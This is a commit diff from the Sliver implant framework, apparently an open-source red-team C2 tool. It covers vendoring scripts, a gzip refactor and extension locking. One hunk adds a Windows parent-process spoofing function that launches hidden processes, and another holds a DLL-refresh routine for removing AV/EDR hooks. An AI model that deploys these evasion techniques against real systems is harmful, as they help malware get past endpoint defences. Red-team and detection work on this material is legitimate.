golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.1.9 h1:j9KsMiaP1c3B0OTQGth0/k+miLGTgLsAFUCrF2vLcF8=
golang.org/x/tools v0.1.9/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 h1:Ug9qvr1myri/zFN6xL17LSCBGFDnphBBhzmILHsM5TY=
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224/go.mod h1:deeaetjYA+DHMHg+sMSMI58GrEteJUUzzw7en6TJQcI=
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24 h1:KwsvzlnmErwMd3BXoBSEuL8qU72QxFM/uOUAgZmavRc=
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24/go.mod h1:bVQfyl2sCM/QIIGHpWbFGfHPuDvqnCNkT6MQLTCjO/U=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw=
google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93 h1:nb+w1m5cgug4cfeqcWJx4lcj8cYA+wWAz7aGI96Wp/Q=
golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93/go.mod h1:a057zjmoc00UN7gVkaJt2sXVK523kMJcogDTEvPIasg=
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
google.golang.org/protobuf v1.23.0 h1:4MY060fB1DLGMB/7MBTLnwQUY6+F09GEiz6SsrNqyzM=
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw=
gopkg.in/jcmturner/aescts.v1 v1.0.1/go.mod h1:nsR8qBOg+OucoIW+WMhB3GspUQXq9XorLnQb9XtvcOo=
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 h1:cIuC1OLRGZrld+16ZJvvZxVJeKPsvd5eUIvxfoN5hSM=
gopkg.in/jcmturner/dnsutils.v1 v1.0.1/go.mod h1:m3v+5svpVOhtFAP/wSz+yzh4Mc0Fg7eRhxkJMWSIz9Q=
gopkg.in/jcmturner/goidentity.v3 v3.0.0 h1:1duIyWiTaYvVx3YX2CYtpJbUFd7/UuPYCfgXtQ3VTbI=
gopkg.in/jcmturner/goidentity.v3 v3.0.0/go.mod h1:oG2kH0IvSYNIu80dVAyu/yoefjq1mNfM5bm88whjWx4=
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 h1:a9tsXlIDD9SKxotJMK3niV7rPZAJeX2aD/0yg3qlIrg=
gopkg.in/jcmturner/gokrb5.v7 v7.5.0/go.mod h1:l8VISx+WGYp+Fp7KRbsiUuXTTOnxIc3Tuvyavf11/WM=
gopkg.in/jcmturner/rpc.v1 v1.1.0 h1:QHIUxTX1ISuAv9dD2wJ9HWQVuWDX/Zc0PfeC2tjc4rU=
gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLvuNnlv8=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5 h1:cv/zaNV0nr1mJzaeo4S5mHIm5va1W0/9J3/5prlsuRM=
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5/go.mod h1:TIvkJD0sxe8pIob3p6T8IzxXunlp6yfgktvTNp+DGNM=
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22 h1:DNtszwGa6w76qlIr+PbPEnlBJdiRV8SaxeigOy0q1gg=
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22/go.mod h1:GVx+5OZtbG4TVOW5ilmyRZAZXr1cNwfqUEkTOtWK0PM=
-4
View File
@@ -32,8 +32,4 @@ var (
// GoSum - Templated go.sum module file for implant builds
//go:embed go-sum
GoSum string
// Vendor - Embedded FS access to vendored sliver implant dependencies
//go:embed vendor/**
Vendor embed.FS
)
-95
View File
@@ -1,95 +0,0 @@
package main
import (
"bytes"
"fmt"
"go/parser"
"go/token"
"io/fs"
"os"
"path/filepath"
"strings"
)
// These are the directories imports will be taken from. If the implant
// needs files outside of these dirs in the future, add the dirs to this
// slice.
var srcDirs = []string{
"../sliver",
"../../protobuf/commonpb",
"../../protobuf/dnspb",
"../../protobuf/sliverpb",
}
func fatalf(format string, a ...interface{}) {
panic(fmt.Sprintf(format, a...))
}
func getImports(imports map[string]struct{}, dir string) error {
fset := token.NewFileSet()
return filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {
if err != nil {
return err
}
if d.IsDir() {
return nil
}
if !strings.HasSuffix(path, ".go") {
return nil
}
file, err := parser.ParseFile(fset, path, nil, parser.ImportsOnly)
if err != nil {
return err
}
for _, imp := range file.Imports {
impPath := strings.ToLower(imp.Path.Value)
// skip local packages, those shouldn't be vendored
if strings.HasPrefix(impPath, `"github.com/bishopfox/sliver`) {
continue
}
imports[imp.Path.Value] = struct{}{}
}
return nil
})
}
func main() {
if len(os.Args) < 2 {
fatalf("expected temporary directory argument")
}
dir := os.Args[1]
imports := make(map[string]struct{})
// Parse Go files and build a unique list of all their 3rd party
// imports so we can build a vendor dir from them. Stdlib packages
// will be included as well but 'go mod vendor' will ignore them.
for _, srcDir := range srcDirs {
err := getImports(imports, srcDir)
if err != nil {
fatalf("error walking directory: %v", err)
}
}
// Create a Go source file containing only import statements of all
// the packages an implant might need, no matter what OS, transport,
// etc is configured.
var buf bytes.Buffer
buf.WriteString("package sliver\n\nimport (\n")
for imp := range imports {
buf.WriteString("\t _ ")
buf.WriteString(imp)
buf.WriteByte('\n')
}
buf.WriteString(")\n")
err := os.WriteFile(filepath.Join(dir, "imports.go"), buf.Bytes(), 0660)
if err != nil {
fatalf("error creating file: %v", err)
}
}
-37
View File
@@ -1,37 +0,0 @@
#!/bin/bash
set -e
cleanup() {
[ ! -z "$1" ] && echo "Error $1 occurred on $2"
mv "${tempDir}/vendor" "${pwd}/../vendor"
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
cd ..
rm -rf "$tempDir"
}
# we are expecting from run from sliver/implant via 'go generate'
cd scripts
# copy Go module related files
pwd="$(pwd)"
tempDir="$(mktemp -d)"
cp ../go-mod "${tempDir}/go.mod"
cp ../go-sum "${tempDir}/go.sum"
mv ../vendor "${tempDir}/vendor"
# Trap when a build fails so we can reset the environment
trap 'cleanup $? $LINENO' ERR
# build Go file with all imported packages
go run update-vendor.go "$tempDir"
cd "$tempDir"
# update vendor dir
go mod tidy -compat=1.17
go mod vendor
# move updated files back
cleanup
+19 -28
View File
@@ -20,6 +20,7 @@ package cryptography
import (
"bytes"
"compress/gzip"
"crypto/rand"
"crypto/sha256"
"crypto/x509"
@@ -34,7 +35,6 @@ import (
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/encoders"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
"golang.org/x/crypto/chacha20poly1305"
@@ -107,7 +107,7 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
if err != nil {
return nil, err
}
plaintext = bytes.NewBuffer(encoders.GzipBuf(plaintext)).Bytes()
plaintext = bytes.NewBuffer(GzipBuf(plaintext)).Bytes()
nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
if _, err := rand.Read(nonce); err != nil {
return nil, err
@@ -134,7 +134,7 @@ func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, err
if err != nil {
return nil, err
}
return encoders.GunzipBuf(plaintext), nil
return GunzipBuf(plaintext), nil
}
// NewCipherContext - Wrapper around creating a cipher context from a key
@@ -182,15 +182,6 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
return ciphertext, nil
}
// GetExactOTPCode - Get the OTP code for a specific timestamp
func GetExactOTPCode(timestamp time.Time) string {
code, _ := totp.GenerateCodeCustom(totpSecret, timestamp, totpOptions)
// {{if .Config.Debug}}
log.Printf("TOTP Code (%s): %s", timestamp, code)
// {{end}}
return code
}
// GetOTPCode - Get the current OTP code
func GetOTPCode() string {
now := time.Now().UTC()
@@ -248,19 +239,19 @@ func RootOnlyVerifyCertificate(caCertPEM string, rawCerts [][]byte, _ [][]*x509.
return nil
}
//// GzipBuf - Gzip a buffer
//func GzipBuf(data []byte) []byte {
// var buf bytes.Buffer
// zip := gzip.NewWriter(&buf)
// zip.Write(data)
// zip.Close()
// return buf.Bytes()
//}
//
//// GunzipBuf - Gunzip a buffer
//func GunzipBuf(data []byte) []byte {
// zip, _ := gzip.NewReader(bytes.NewBuffer(data))
// var buf bytes.Buffer
// buf.ReadFrom(zip)
// return buf.Bytes()
//}
// GzipBuf - Gzip a buffer
func GzipBuf(data []byte) []byte {
var buf bytes.Buffer
zip := gzip.NewWriter(&buf)
zip.Write(data)
zip.Close()
return buf.Bytes()
}
// GunzipBuf - Gunzip a buffer
func GunzipBuf(data []byte) []byte {
zip, _ := gzip.NewReader(bytes.NewBuffer(data))
var buf bytes.Buffer
buf.ReadFrom(zip)
return buf.Bytes()
}
-42
View File
@@ -1,42 +0,0 @@
package cryptography
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"os"
)
var (
// TLSKeyLogger - File descriptor for logging TLS keys
TLSKeyLogger = newKeyLogger()
)
func newKeyLogger() *os.File {
// {{if .Config.Debug}}
keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE")
if present {
keyFile, err := os.OpenFile(keyFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
if err != nil {
return nil
}
return keyFile
}
// {{end}}
return nil
}
+1 -34
View File
@@ -21,7 +21,6 @@ package encoders
import (
"bytes"
"compress/gzip"
"sync"
)
// GzipEncoderID - EncoderID
@@ -30,44 +29,12 @@ const GzipEncoderID = 49
// Gzip - Gzip compression encoder
type Gzip struct{}
var gzipWriterPools = &sync.Pool{}
func init() {
gzipWriterPools = &sync.Pool{
New: func() interface{} {
w, _ := gzip.NewWriterLevel(nil, gzip.BestSpeed)
return w
},
}
}
// GzipBuf - Gzip a buffer
func GzipBuf(data []byte) []byte {
var buf bytes.Buffer
gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
gzipWriter.Reset(&buf)
gzipWriter.Write(data)
gzipWriter.Close()
gzipWriterPools.Put(gzipWriter)
return buf.Bytes()
}
// GunzipBuf - Gunzip a buffer
func GunzipBuf(data []byte) []byte {
zip, _ := gzip.NewReader(bytes.NewBuffer(data))
var buf bytes.Buffer
buf.ReadFrom(zip)
return buf.Bytes()
}
// Encode - Compress data with gzip
func (g Gzip) Encode(data []byte) []byte {
var buf bytes.Buffer
gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
gzipWriter.Reset(&buf)
gzipWriter, _ := gzip.NewWriterLevel(&buf, gzip.BestSpeed)
gzipWriter.Write(data)
gzipWriter.Close()
gzipWriterPools.Put(gzipWriter)
return buf.Bytes()
}
+82
View File
@@ -19,6 +19,7 @@ package evasion
*/
import (
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
//{{if .Config.Debug}}
@@ -26,9 +27,90 @@ import (
//{{end}}
"debug/pe"
"io/ioutil"
"os/exec"
"unsafe"
)
func SpoofParent(ppid uint32, prog string, args string) (*windows.ProcessInformation, error) {
parentHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS, false, ppid)
if err != nil {
//{{if .Config.Debug}}
log.Printf("OpenProcess failed: %v\n", err)
//{{end}}
return nil, err
}
var procThreadAttributeSize uintptr
if err = syscalls.InitializeProcThreadAttributeList(nil, 1, 0, &procThreadAttributeSize); err != nil && err != windows.E_NOT_SUFFICIENT_BUFFER {
//{{if .Config.Debug}}
log.Printf("InitializeProcThreadAttributeList - first call failed: %v\n", err)
//{{end}}
return nil, err
}
procHeap, err := syscalls.GetProcessHeap()
if err != nil {
//{{if .Config.Debug}}
log.Printf("GetProcessHeap failed: %v\n", err)
//{{end}}
return nil, err
}
attributeList, err := syscalls.HeapAlloc(procHeap, 0, procThreadAttributeSize)
if err != nil {
//{{if .Config.Debug}}
log.Printf("HeapAlloc failed: %v\n", err)
//{{end}}
return nil, err
}
defer syscalls.HeapFree(procHeap, 0, attributeList)
var startupInfo syscalls.StartupInfoEx
startupInfo.AttributeList = (*syscalls.PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
if err = syscalls.InitializeProcThreadAttributeList(startupInfo.AttributeList, 1, 0, &procThreadAttributeSize); err != nil {
//{{if .Config.Debug}}
log.Printf("InitializeProcThreadAttributeList - second call failed: %v\n", err)
//{{end}}
return nil, err
}
defer syscalls.DeleteProcThreadAttributeList(startupInfo.AttributeList)
uintParentHandle := uintptr(parentHandle)
if err = syscalls.UpdateProcThreadAttribute(startupInfo.AttributeList, 0, syscalls.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &uintParentHandle, unsafe.Sizeof(parentHandle), 0, nil); err != nil {
//{{if .Config.Debug}}
log.Printf("UpdateProcThreadAttribute failed: %v\n", err)
//{{end}}
return nil, err
}
// get program path as a UTF string
programPath, err := exec.LookPath(prog)
if err != nil {
//{{if .Config.Debug}}
log.Printf("LookPath failed: %v\n", err)
//{{end}}
return nil, err
}
utfProgramPath, err := windows.UTF16PtrFromString(programPath)
if err != nil {
//{{if .Config.Debug}}
log.Printf("UTF16PtrFromString failed: %v\n", err)
//{{end}}
return nil, err
}
// start a process of the specified program name, spoofing the parent
var procInfo windows.ProcessInformation
startupInfo.Cb = uint32(unsafe.Sizeof(startupInfo))
startupInfo.Flags |= windows.STARTF_USESHOWWINDOW
startupInfo.ShowWindow = windows.SW_HIDE
// creationFlags := windows.CREATE_SUSPENDED | windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
creationFlags := windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
if err = syscalls.CreateProcess(utfProgramPath, nil, nil, nil, true, uint32(creationFlags), nil, nil, &startupInfo, &procInfo); err != nil {
//{{if .Config.Debug}}
log.Printf("CreateProcess failed: %v\n", err)
//{{end}}
return nil, err
}
return &procInfo, nil
}
// RefreshPE reloads a DLL from disk into the current process
// in an attempt to erase AV or EDR hooks placed at runtime.
func RefreshPE(name string) error {
@@ -21,7 +21,6 @@ package extension
import (
"bytes"
"runtime"
"sync"
"unsafe"
// {{if .Config.Debug}}
@@ -37,7 +36,6 @@ type DarwinExtension struct {
arch string
serverStore bool
init string
sync.Mutex
}
type extensionArguments struct {
@@ -66,8 +64,6 @@ func (d *DarwinExtension) GetArch() string {
func (d *DarwinExtension) Load() error {
var err error
d.Lock()
defer d.Unlock()
loader, err := universal.NewLoader()
if err != nil {
return err
@@ -102,8 +98,6 @@ func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]
// {{if .Config.Debug}}
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
// {{end}}
d.Lock()
defer d.Unlock()
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
if err != nil {
return err
@@ -19,8 +19,8 @@ package extension
*/
import (
"bytes"
"errors"
"sync"
"syscall"
"unsafe"
@@ -43,7 +43,6 @@ type WindowsExtension struct {
arch string
init string
onFinish func([]byte)
sync.Mutex
}
// NewWindowsExtension - Load a new windows extension
@@ -72,8 +71,6 @@ func (w *WindowsExtension) Load() error {
if len(w.data) == 0 {
return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
}
w.Lock()
defer w.Unlock()
w.module, err = memmod.LoadLibrary(w.data)
if err != nil {
return err
@@ -117,8 +114,6 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
// The extension API must respect the following prototype:
// int Run(buffer char*, bufferSize uint32_t, goCallback callback)
// where goCallback = int(char *, int)
w.Lock()
defer w.Unlock()
_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
if errNo != 0 {
return errors.New(errNo.Error())
@@ -131,9 +126,14 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
// so we can pass data back to the Go process from the loaded DLL
func (w *WindowsExtension) extensionCallback(data uintptr, dataLen uintptr) uintptr {
outDataSize := int(dataLen)
outBytes := unsafe.Slice((*byte)(unsafe.Pointer(data)), outDataSize)
if dataLen > 0 {
w.onFinish(outBytes)
outBuff := new(bytes.Buffer)
for i := 0; i < outDataSize; i++ {
b := (*byte)(unsafe.Pointer(uintptr(i) + data))
outBuff.WriteByte(*b)
}
//TODO: do something with outBuff
if outBuff.Len() > 0 {
w.onFinish(outBuff.Bytes())
}
return Success
}
Loaded 100 of 5027 files, more files were not shown because too many files have changed in this diff. Show more